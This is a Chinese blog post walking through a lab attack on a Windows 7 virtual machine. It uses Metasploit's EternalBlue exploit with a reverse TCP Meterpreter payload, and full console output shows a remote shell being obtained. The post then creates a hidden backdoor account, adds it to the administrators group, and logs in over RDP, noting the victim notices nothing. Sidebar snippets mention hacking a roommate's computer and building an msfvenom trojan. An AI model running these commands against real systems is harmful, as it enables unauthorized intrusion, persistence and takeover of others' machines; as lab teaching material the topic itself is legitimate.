MSF远程登录实验

已于 2022-04-13 19:46:18 修改
阅读量3.1k 收藏 14
点赞数
分类专栏： SCSA-智安全 文章标签： 安全 系统安全
于 2022-04-13 19:46:01 首次发布
本文为博主原创文章，未经博主允许不得转载。如有错误不详，敬请指出。
本文链接：https://blog.csdn.net/qq_45668124/article/details/124155963
版权

实验环境说明

角色系统IP地址
被攻击者Windows 7192.168.43.135
攻击者Kali 5.3.0192.168.43.5

基本配置

  • 保证攻击者和被攻击的主机在同一个局域网
    • 使用ping命令测试连通性
  • 被攻击者需要开启3389端口，开启远程桌面

使用Kali的NSF工具

  • 调用MSF工具
root@kali:~# msfconsole  //使用MSF工具
[-] ***rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v5.0.60-dev                          ]
+ -- --=[ 1947 exploits - 1089 auxiliary - 333 post       ]
+ -- --=[ 556 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 >
  • 使用“永恒之蓝”的漏洞代码
    • ms17-010表示漏洞代码
msf5 > search ms17-010  //查看可以使用的模块

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   2  exploit/windows/smb/doublepulsar_rce           2017-04-14       great    Yes    DOUBLEPULSAR Payload Execution and Neutralization
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


msf5 > use  exploit/windows/smb/ms17_010_eternalblue  //使用3号攻击工具模块
msf5 exploit(windows/smb/ms17_010_eternalblue) >
  • 使用载荷工具
    • 使用15号载荷，使对方远程反弹连接。使被攻击者主动请求连接
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads  //查看可使用的载荷

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   generic/custom                                               normal  No     Custom Payload
   1   generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   21  windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   22  windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP

....

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp  //使用15号载荷
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) >
  • 设置IP地址
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.43.135  //设置对方的IP地址
rhosts => 192.168.43.135
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.43.5  //设置自身的IP地址
lhost => 192.168.43.5
msf5 exploit(windows/smb/ms17_010_eternalblue) >
  • 开始运行
msf5 exploit(windows/smb/ms17_010_eternalblue) > run  //开始攻击

[*] Started reverse TCP handler on 192.168.43.5:4444
[+] 192.168.43.135:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.43.135:445 - Connecting to target for exploitation.
[+] 192.168.43.135:445 - Connection established for exploitation.
[+] 192.168.43.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.43.135:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.43.135:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.43.135:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
[*] 192.168.43.135:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1
[+] 192.168.43.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.43.135:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.43.135:445 - Sending all but last fragment of exploit packet
[*] 192.168.43.135:445 - Starting non-paged pool grooming
[+] 192.168.43.135:445 - Sending SMBv2 buffers
[+] 192.168.43.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.43.135:445 - Sending final SMBv2 buffers.
[*] 192.168.43.135:445 - Sending last fragment of exploit packet!
[*] 192.168.43.135:445 - Receiving response from exploit packet
[+] 192.168.43.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.43.135:445 - Sending egg to corrupted connection.
[*] 192.168.43.135:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.43.135
[*] Meterpreter session 1 opened (192.168.43.5:4444 -> 192.168.43.135:49176) at 2022-04-11 19:06:55 +0800
[+] 192.168.43.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.43.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.43.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >
  • 成功攻入被攻击的主机
    • session 1 opened即表示已经远程连接上了被攻击的主机
  • 被攻击者不会有察觉，攻入不需要用户名和密码

查看被攻击者的系统信息

  • 使用命令，查看是否是被攻击的主机
    • ipconfig：查看IP地址等相关信息
    • sysinfo：查看系统信息
meterpreter > ipconfig   //查看IP地址信息

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:91:87:3b
MTU          : 1500
IPv4 Address : 192.168.43.135
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::6c69:fb56:e25a:387d
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:2b87
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 15
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280


Interface 16
============
Name         : VirtualBox Host-Only Ethernet Adapter
Hardware MAC : 0a:00:27:00:00:10
MTU          : 1500
IPv4 Address : 192.168.56.1
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fce3:8b7e:ddc:ef57
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > sysinfo  //查看系统信息
Computer        : BAD-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > shell
Process 1920 created.
Channel 1 created.
Microsoft Windows [?汾 6.1.7601]
??????? (c) 2009 Microsoft Corporation?????????????

C:\Windows\system32>
  • 可以看到此时Interface 11的IP为192.168.43.135
  • 查看系统信息可以看到为BAD-PC，系统版本为Windows 7，登录的
  • 使用net user命令，查看系统中的用户信息
    • 使用net user BadBoy 123.com /add命令创建用户
C:\Windows\system32>net user  //查看系统中的用户
net     user

\\ ????????

-------------------------------------------------------------------------------
Administrator            Bad                      Guest
???????????????????????????


C:\Windows\system32>net user BadBoy 123.com /add  //创建用户名为BadBoy，密码为123.com的用户
net user BadBoy 123.com /add
????????ɡ?


C:\Windows\system32>net user  //再次查看系统中的用户
net user

\\ ????????

-------------------------------------------------------------------------------
Administrator            Bad                      BadBoy
Guest
???????????????????????????


C:\Windows\system32>

  • 在Windows 7系统中查看是否存在新创建的用户

    • 可以看到新创建的用户，此时这个用户为普通用户
      请添加图片描述

  • 对用户进行提权

    • 将新创建的用户加入到管理员组
C:\Windows\system32>net localgroup administrators BadBoy /add
net localgroup administrators BadBoy /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32>

  • 在Windows 7系统中查看用户名为BadBoy的隶属组
    请添加图片描述

  • 在Kali上使用创建的账户远程登录被攻击的主机

    • 使用rdesktop -u BadBoy 192.168.43.135命令，以BadBoy用户身份进行远程登录
root@kali:~# rdesktop -u BadBoy 192.168.43.135

ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);

 1. Certificate issuer is not trusted by this system.

     Issuer: CN=Bad-PC


Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate the connection atempt will be aborted:

    Subject: CN=Bad-PC
     Issuer: CN=Bad-PC
 Valid From: Sun Apr 10 15:33:15 2022
         To: Mon Oct 10 15:33:15 2022

  Certificate fingerprints:

       sha1: 1bf0d0ddc25fd0f3d4dfce85687ca53fce640e36
     sha256: 19c19411497b4bf9bc2dd29083b9067e0f65dcda457410288d6970dbf265d4d2


Do you trust this certificate (yes/no)? yes
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
disconnect: Logout initiated by user.
root@kali:~# rdesktop -u BadBoy 192.168.43.135
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

请添加图片描述
请添加图片描述

以上内容均属原创，如有不详或错误，敬请指出。
本文作者： 坏坏
本文链接： https://badboy.blog.csdn.net/article/details/124155963
版权声明： 本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请联系作者注明出处并附带本文链接！
坏坏-5
关注
  • 0
    点赞
  • 踩
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
msf拿下windows的远程桌面
mulincong的博客
05-25 602
msf拿下windows的远程桌面
msf windows版
09-22
msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版 msf windows版
php-msf源码详解
10-18
主要介绍了php-msf源码的意思以及用法相关问题，有需要的朋友跟着参考学习下吧。
kali 渗透msf
11-14
kali渗透测试利器
linux 实现免密码登录
Aurora Silent
08-11 1042
1、cd ~/.ssh2、执行 ssh-keygen -t rsa然后一直按回车键，就会按照默认的选项将生成的密钥保存在.ssh/id_rsa文件中。3、拷贝 id_rsa.pub为authorized_keys文件cp id_rsa.pub authorized_keys这步完成后，正常情况下就可以无密码登录本机了，即ssh localhost，无需输入密码。4、将生成的authorized_ke
今天简单黑一下室友电脑：MSF提权开启远程桌面并连接
kjuhfkicf154的博客
01-04 2509
今天简单黑一下室友电脑~
记一次完整体系的攻防演练的环境部署-映射公网-渗透getshell-上线frp-上线MSF实现内网远程渗透-打开远程桌面。
随心所欲不逾矩
02-27 755
前言，本次笔记是记录在工作中的一个攻防演练环境搭建和通过部署的应用存在的文件上传漏洞getshell，接着上线frp，接着上线msf，实现msf远程渗透。准备工作：1，在客户的内网环境部署一个Windows7系统，在这个系统上把finecms这个应用部署上去。把finecms安装之后，和客户沟通，把这个应用的地址映射到公网上去。2，其次，没有条件的话，自己在在wmware上装个虚拟机部署上去也行。
渗透工具——kali中msf（后门生成模块msfvenom）
2301_78006725的博客
09-02 576
3. 通过邮件等方式上传到目标电脑，让目标电脑点击这个木马时，木马会在目标电脑后台运行（我这里就先用本机做一下试验）5. 然后run运行，同时点击桌面上的exe文件（不会出现画面，后进入后台运行）然后use exploit/multi/handler。成功拿到会话，就证明木马没问题，就可以进行操作啦！2. 点击文件管理，在root中查看是否已经生成完毕。show options完善信息。列出所有可用的payload;1. 生成shell。
Kali Linux渗透测试——MSF实战篇（一）
Captain_RB的博客
01-07 9566
MSF学习笔记——实战篇(一）MSF学习笔记——实战篇(一)一、信息收集（一）db_nmap（二）Auxiliary模块1.arp扫描2.端口扫描3.空闲扫描4.UDP扫描5.密码嗅探6.SNMP扫描(161端口)6.SMB扫描(445端口)7.SSH扫描(22端口)8.扫描Windows缺少的补丁9.mssql扫描(TCP 1443或者UDP 1434端口)10.ftp扫描(21端口)二、漏洞扫...
实战-msf扫描靶机上mysql服务空密码
保持微笑的博客
01-15 995
靶机的安装我们在上面的文章里讲解过了。 操作流程： kali系统的IP是192.168.0.109。启动一台Metasploitable2-Linux靶机，网络模式设置为桥接。 登录Metasploitable2-Linux系统用户名root，密码：root 查看靶机的ip 因为要查找的是mysql的空密码，涉及到登陆问题。我们可以去查找login。 加载模块 查看需要设置的参数 设置目标主机 设置目标账号 查看 BLANK_PASSWORDS 是否...
msf-haskell:Haskell Metasploit远程API的实现
05-31
无国界医生哈斯克尔 介绍 该目录包含 Haskell Metasploit 绑定和库，以及描述该库目的和使用的。 简而言之， 是一个广泛部署的开源渗透测试平台。... 截至 2013 年初，此绑定与 MSF API 兼容，但尚未在更新
项目管理利刃之MSF
03-03
火龙果软件工程技术中心 MSF，MicrosoftSolutionFramework，微软解决方案框架是一个在预算范围内按期创建一个业务解决方案需要一种经过检验的方法。本文将结合MSF在项目管理中的实际应用进行讲解，如果您是软件项目...
Kali-用户Cookie信息并实现无账号登录
icbug
06-06 1895
大家一定都经历过进入不良网站吧 这种网站一般都含有xss的攻击代码，只不过是被打了伪装而已 本章就会为大家介绍一下，这其中到底暗藏着什么玄机 首先我们需要一个DVWA靶机 搭建教程:https://icbugblog.cn/archives/8/ 注意:这个教程涉及到mariadb需要自己创建一个新的用户才可以使用 搭建好靶场后我们开始我们的教程 首先我们先把DVWA的安全等级调为Low，方便我们开始XSS的基础学习 反向XSS的原理 我们来演示一下它的工作原理。这个功能类似一个留言板，输入信息后.
Kali系统MSF模块暴力破解MySQL弱口令漏洞
mooyuan的博客
11-24 8047
攻击环境使用KALI系统（使用虚拟机搭建）的Metasploit模块，msfconsole是metasploit中的一个工具，它集成了很多漏洞的利用的脚本，并且使用起来很简单的网络安全工具。这里要特别强调：被攻击的环境必须开启mysql远程登陆服务,通常MySQL开启的端口号是3306，故而一般情况下要求被攻击的服务器开启了3306端口号。
kali漏洞利用之Meterpreter介绍
The__Apollo的博客
04-22 3782
使用示例：1.生成Meterpreter后门命令语句如下，如果其中的IP为kali攻击机的IP地址，后面跟着的是参数。msfpayload windows/meterpreter/reverse_tcp LHOST=222.28.136.223 LPORT=2333 R|msfencode -t exe -c 5 > /root/door.exe 　这个语句中，如果不知道参数是什么，可以在metas
.MSF爆破 简介：实验利用kali MSF中ftp_login模块对metasploitable2中ftp服务实施攻击
qq_44122254的博客
03-21 2520
启动msf 使用search搜索ftp_login模块，使用use命令使用 set rhosts 设置IP set user_file /root/Desktop/user.txt设置用户名 set pass_file /root/Desktop/password.txt设置密码 在执行的时候我有出错了一下，我忘记提前建立user和password的爆破文档了 Run进行爆破 这是爆破成功的 如果只是在自己的kali复现漏洞做实验的话，做字典的时候没必要添加太多，浪费时间 ...
MSF模拟渗透测试攻击linux实例
lza20001103的博客
04-09 8939
MSF模拟渗透测试攻击linux实例
kali免认证登录
xiaoxuetu_的博客
07-09 2692
1.假设kali客户机为机器A，ssh服务器为机器B，IP地址为192.168.81.160。 2.客户机生成公钥与私钥：ssh-keygen -t rsa（一直按Enter键即可）。 3.将公钥拷到服务器B中：scp ./.ssh/id_rsa.pub [email protected]：/.ssh/id_rsa.pub。 4.输入密码为B机器中root用户的密码。 5.配置机器B：
内网安全【1】——域信息收集/应用网络凭证/CS插件/Android/BloodHound
最新发布
weixin_42090431的博客
04-28 972
因此，域中的计算机本地管理员账号，极有可能能够登陆域中较多的计算机，本地管理员的密码在服务器上后期修改的概率，远低于在个人办公电脑上的概率，而域用户权限是较低的，是无法在域成员主机上安装软件的，这将会发生下面的一幕:某个域用户需要使用viso软件进行绘图操作，于是联系网络管理员进行安装，网络管理员采用域管理员身份登录了域成员主机，并帮助其安装了viso软件，于是这个有计算机基础的员工，切换身份登录到了本地计算机的管理员，后执行mimikatz，从内存当中抓取了域管理员的密码，便成功的控制了整个域。
msf脚本
05-24
MSF（Metasploit Framework）是一个开源的安全漏洞检测和攻击的工具包，它可以帮助安全研究人员和渗透测试人员进行漏洞探测、漏洞利用和后渗透测试等多种操作。MSF中的脚本是一种自动化的攻击工具，可以快速地执行特定的攻击或者扫描操作。 MSF中的脚本通常使用Ruby语言编写，脚本文件的后缀名为.rb。使用MSF中的脚本需要掌握一定的Ruby编程知识和MSF框架的使用方法。下面是一个简单的MSF脚本示例： ```ruby require 'msf/core' class MyModule < Msf::Auxiliary def initialize super( 'Name' => 'My Module', 'Description' => 'This is my module', 'Author' => 'Me', 'License' => MSF_LICENSE ) register_options([ OptString.new('TARGETHOST', [true, 'The target host', '']), OptPort.new('TARGETPORT', [true, 'The target port', 80]) ]) end def run target_host = datastore['TARGETHOST'] target_port = datastore['TARGETPORT'] # Do some stuff here end end ``` 这个脚本定义了一个名为"My Module"的模块，它需要用户输入目标主机的IP地址和端口号，并在run方法中实现一些攻击或扫描的操作。在使用MSF时，可以通过load命令加载该脚本，并在MSF的命令行界面中执行该模块。 需要注意的是，MSF是一个强大的攻击工具，使用不当可能会对他人造成损害，请务必遵守相关法律法规和道德规范。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

坏坏-5

谢谢支持！

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值